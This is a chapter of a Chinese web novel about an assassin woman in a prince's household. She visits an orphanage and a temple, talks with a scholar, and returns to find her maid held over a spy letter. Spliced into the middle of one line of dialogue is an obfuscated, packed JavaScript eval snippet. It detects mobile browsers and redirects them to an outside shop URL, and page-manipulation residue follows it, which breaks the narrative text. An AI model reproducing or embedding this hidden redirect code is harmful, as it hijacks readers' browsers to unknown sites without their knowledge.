文趣网 > 其他小说 > 殿下偏要我杀他 > 8. 报信
    晨光从天际铺开,淡金色日光越过檐角,落在庭院里的枝叶上,风一吹,便有细碎光斑轻轻晃动。

    隔着半卷帘影,沈绫音系好帷帽的系带。

    那日与萧慕忱用过晚膳后,她可算清静了一小阵子,似乎他这几天都不在府中,又或许是他懒得再找她麻烦,无论如何,沈绫音都乐见其成。

    她垂眸将帷帽的白纱理顺,遮住姣好面容,只余一截白皙下颌隐在轻纱之后。

    今日流芳院休沐,沈绫音打算出府一趟。虽说王府平日里也并未拘着她,但到底是谨慎为上,她已经许久不曾外出了。

    嘱咐完小棠几句话,她便独自出了门,走出景王府的地界,叫了辆寻常马车一路往城东去。

    那里与霓裳阁所在的方向恰好相反,不似那边纸醉金迷、昼夜不息,却是京城里最热闹的市集之一。

    一下车,她先是进了一家铺面并不算十分华丽,却整洁有致的绸缎庄,挑了数十匹衣裳料子。

    掌柜的瞧见这顶帷帽便知道是她,笑呵呵地招呼道:“是小姐来了!许久不见您光顾呀!”

    虽说他从未见过眼前女子的真容,不过她光是身影就已经足够让人过目不忘,整个人高挑纤瘦,一袭轻薄的藕荷色绫罗衣裙愈发显得身段修长窈窕,再看她举手投足间的气度,想必是大户人家的娇小姐。

    沈绫音点点头,“最近忙了些,得空我便来了。”

    她指了指挑选出的料子,将腕上的金镯褪下来递过去,“这些都要,包好送到慈幼院去。”

    “这、”掌柜的见状一愣,“小姐,用不了这么多呀!还是十两银子就成!”

    从前这位乐善好施的小姐一来,他便能一下拥有十数两银子的颇丰进账,已经是很满足,但她这次的手笔也太大了些?!

    沈绫音莞尔:“不白给,须得你帮我定期送些料子去,交给你我很放心。这一阵我未必能再来了。”

    沉甸甸的金镯拿在手里,掌柜的一时还未回神,沈绫音已经轻飘飘出去了。

    景王府上,照影派出去的暗卫在他耳边低声回禀,他听完转身进殿,将暗卫的话细细报给萧慕忱。

    雕花檀木桌案前,俊美男人执笔的手一顿,“她出去就做了这些?”

    照影道:“是,沈教习去绸缎庄买了些给小儿的衣料,又去食肆买了点心,在慈幼院呆了两个时辰照顾那些孤童。”

    “嗯……”萧慕忱眯着眼想了想,画面应当是很温馨而美丽,不过她一个杀手,居然喜欢小孩?让人意想不到。

    若她知道慈幼院是他出资所建,想必会同他此刻一样感到意外。

    “还有呢?”

    照影:“沈教习又去了清梵寺。”

    “去寺里干嘛?”萧慕忱有些好奇。

    “清梵寺有许多猫和犬,沈教习去喂它们了。”

    顿了顿,照影补充道:“她似乎有点怕狗,但也还是一起喂了。”

    萧慕忱挑眉,呷了口茶片刻未语,随即轻笑一声。

    “行。就她自己?没见什么人吧?”

    照影道:“没什么特别的人,只是在寺院遇见了欧阳澹,讲的都是些闲聊的话。”

    提到欧阳澹,人们总容易忘记他是探花出身的翰林院编修,礼部侍郎之子,而率先想到他的才情,萧慕忱也不例外。

    他回忆了半晌,才想起是有这么一茬,欧阳澹曾在沈绫音游街时为她牵过马,还特地填了一首“蝶恋花”给她,此举也算出格,不过他本就是志不在庙堂的风流才子,因此众人都见怪不怪。

    还是自那之后,向来无心风月的他才听闻了绛蝶大名。

    “聊什么了?他们很熟?”

    欧阳澹与绛蝶的逸闻照影亦是知晓,他心想应当比跟您熟,遂原封不动地将欧阳澹的热情示好与他们结伴同行的细节讲给了殿下听。

    萧慕忱听着听着额角无端开始发涨,他声音冷了下来,打断道:“什么都要我一句一句追着问,不能都想好了再跟我说吗?”

    照影一愣,不知殿下的无名火从何而来。

    从前说事不都这样吗?

    照影赶紧低下头,沉声道:“是,属下知道了,还有一事——”

    “不听了!下次写份文书来,我自己看!”

    萧慕忱袖子一挥将他赶走。

    沈绫音坐在清梵寺的柳树下,忽然打了一个喷嚏。

    欧阳澹正坐在她对面,适时出言关心:“怎么了?冷吗?”

    他生得清俊,眉梢眼角都是笑意,一双眼睛尤其明亮,说话也柔声细语,整个人如三月里的和煦春风一般。

    沈绫音摇头:“大热天的,不冷。”

    欧阳澹轻笑着托腮看她,他自认同绛蝶姑娘的交情应当比旁人要亲近些,可软磨硬泡了半晌,她也没同意将帷帽摘下来。

    不过,隔着一层朦胧白纱,佳人的眉眼轮廓若隐若现,反倒比看得真切更添几分风情,叫人越看越觉得赏心悦目。

    “既然不冷,那便是有人在背后念叨姑娘了。”

    沈绫音垂下眼顺了顺怀中三花狸奴的绒毛,随口道:“谁会念叨我?”

    欧阳澹笑道:“那应该很多。若姑娘下回再如此,也许就是我。”

    沈绫音听出他话中机锋,笑而不语。

    “现在姑娘去了王府,大家想见你都难,你不知道众人有多想你。”欧阳澹展开折扇,作出惋惜的模样轻叹一声,“有时真羡慕景王殿下,若想见姑娘,日日能见着。”

    他许是随口调侃,却戳中了沈绫音心中隐秘,她有些不自然地抬手摸了摸脸颊。

    “我们在背后说殿下,不知他会不会打喷嚏。”

    欧阳澹摇着扇子朗声笑起来。

    沈绫音仰头看了眼天光,她今日刻意将行程拖慢,在外头晃了一天,原本要喂半个时辰的猫喂了两个时辰,离天黑却还有一会儿。

    她得再等等。既然欧阳澹乐意陪她解闷,那便随他。

    欧阳澹朝远远守在后头的小厮招了下手,不多时,便有小沙弥提着茶壶过来。

    他虚虚拦住小沙弥正欲添茶的手,将茶壶接过亲自给沈绫音斟满。

    他一边道:“喝完这杯茶,也该垫垫肚子了,姑娘想吃茶点吗?或是想去聚丰楼?在下请客。”

    聚丰楼,是京城最有名的老字号酒楼,不过花费高昂,欧阳澹此番相请,倒叫沈绫音有些意外。

    她微笑:“不吃了,我要少食纤体。”

    欧阳澹很吃惊:“姑娘如今身形可做掌上舞,还要纤体?得多看顾身子才是。”

    两人说笑几句,欧阳澹再度相邀,又被沈绫音婉拒,只好作罢。

    暮色渐渐四合,沈绫音轻轻放下膝头睡着的狸奴,站起身略微松了下筋骨。

    “时候不早,我该回去了,欧阳公子也请回吧。”

    “我送姑娘。”欧阳澹跟着站起身,颇有风度地示意沈绫音先走前面,“天色已晚,美人独行未免叫人不放心,在下自然要护花一程。”

    沈绫音失笑:“我坐马车,下了车便

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17967207|214548||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是王府地界,安全得很。”

    欧阳澹无奈地摇了摇头,“你呀,”他笑着用折扇轻点一下她的帽檐,“那好吧。”

    沈绫音没太在意他这有些亲昵的举动,颔首示意后转身欲走,又听他在后面出声,“姑娘留步。”

    她甫一回头,便见面前是欧阳澹递来的一串沉香木小佛珠,泛着温润的深褐色光泽。

    “今日有幸遇见姑娘,匆忙之际也不曾备下见礼,这是我午后在庙里新求的,见姑娘腕上空空,不如以此增色吧。”

    沈绫音愣了愣。她自是知道,霓裳阁里从不缺替姑娘赎身脱籍的人,腰缠万贯的富商居多,亦或是风流多情的文人墨客,若瞧中了哪位姑娘,便会出银子将她带走。

    看得出,欧阳澹或有此心。

    但她向来不大相信这世上会有人无缘无故地对她好,尤其是男人对女人。

    刚想开口推辞,欧阳澹已执起她的手腕,将珠串套了上去。

    像是生怕她摘下来递还一般,他笑着快走了两步,挥动扇子朝她示意,无声地做了个“绛蝶姑娘”的口型,紧接着朗声道:“回见!”

    沈绫音低头看着自己手腕,无奈轻叹一声,倒也没有摘下。

    不过一串小珠子罢了,戴着便戴着吧,也没什么大不了的。

    回到王府的时辰比她预想的要晚一些,守门的小厮远远瞧见她,忙打开了门。

    她定了定神,将一些准备好的话在心底默念几遍,方抬步走进去。

    没走几步,逐风便迎上来拦住了她的去路。

    “沈教习……”他伸指刮了刮自己脸颊,像是有点不自在般,“有点事,殿下相请,随我来吧。”

    沈绫音茫然道:“何事如此着急?”

    逐风摇摇头,步子走得很快,“说来话长。”

    一路来到外院的偏厅,这里阵仗比她想象中大得多,厅中灯火通明,侍卫整齐地列在两侧,手按刀柄,神色冷肃,中央空出一片地方,小棠孤零零地跪在那里,双手被缚于身后,发髻微乱,脸色苍白。

    而她的前方,萧慕忱正坐在上首,英挺俊秀的容颜在此时带着点讥诮神色,绣着金纹的玄色衣袍垂落在脚边,身侧站着照影和另一个叫不上名的侍卫。

    他没有说话,只抬起潋滟黑眸朝她看了过来。

    沈绫音快走几步上前,掀起裙摆跪在小棠身边,将帷帽摘下放在一旁,俯首道:“参见殿下,不知……小棠犯了何事?”

    萧慕忱手中把玩着一份信笺,随意道:“一个人出门这么久?”

    沈绫音没有抬起头,只轻声道:“殿下恕罪。”

    萧慕忱轻嗤一声:“你可知这好丫头趁你不在时,出去做什么了?”

    一言不发的小棠在此刻突然抬头喊道:“都是奴婢自作主张,与姑娘无关,求殿下只罚我一人!”

    萧慕忱抬了抬下巴,立刻有侍卫上前堵住了她的嘴,厅内只剩一阵“呜呜”声。

    “本王没有问你。”他声音很淡,“在问沈教习。”

    “我、这……”沈绫音像被吓住了,看看挣扎着的小棠,又看看面无表情的萧慕忱,蜷起指尖,带了点哭腔,“小女实在不明白,求殿下明示!”

    萧慕忱本欲将信笺丢下去,想了想还是递给逐风。

    沈绫音从逐风手中接过信笺,颤颤巍巍打开,小声读出上面几行字。

    “近得知,景王身边亲卫少见踪影,经打探,景王人马月余之前曾离京,往兰陵而去。府中暂无异动,绛蝶一切如常。”